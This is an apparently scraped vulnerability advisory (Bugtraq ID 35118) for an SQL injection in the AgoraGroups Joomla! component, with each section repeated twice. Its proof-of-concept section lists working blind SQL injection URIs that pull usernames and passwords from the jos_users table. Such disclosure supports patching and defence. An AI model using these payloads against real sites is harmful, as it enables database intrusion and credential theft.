AgoraGroups Joomla! Component 'id' Parameter SQL Injection Vulnerability
BID:35118
Info
AgoraGroups Joomla! Component 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 35118 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 27 2009 12:00AM |
| Updated: | Sep 09 2009 08:01PM |
| Credit: | Chip D3 Bi0s |
| Vulnerable: |
JoomlaMe AgoraGroups 0.3.5 .3 |
| Not Vulnerable: |
JoomlaMe AgoraGroups 0.4.5 4 |
Discussion
AgoraGroups Joomla! Component 'id' Parameter SQL Injection Vulnerability
The AgoraGroups module for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
AgoraGroups 0.3.5.3 is vulnerable; other versions may also be affected.
The AgoraGroups module for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
AgoraGroups 0.3.5.3 is vulnerable; other versions may also be affected.
Exploit / POC
AgoraGroups Joomla! Component 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/path/index.php?option=com_agoragroup&con=groupdetail&id=2 and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96
http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1
http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1
http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+jos_users+limit+0,1),1,1))=72
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/path/index.php?option=com_agoragroup&con=groupdetail&id=2 and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96
http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1
http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1
http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+jos_users+limit+0,1),1,1))=72
Solution / Fix
AgoraGroups Joomla! Component 'id' Parameter SQL Injection Vulnerability
Solution:
Updates are available. Please contact the vendor for details.
Solution:
Updates are available. Please contact the vendor for details.
References
AgoraGroups Joomla! Component 'id' Parameter SQL Injection Vulnerability
References:
References:
- AgoraGroups Homepage (JoomlaMe)
- AgoraGroups Released (JVitals)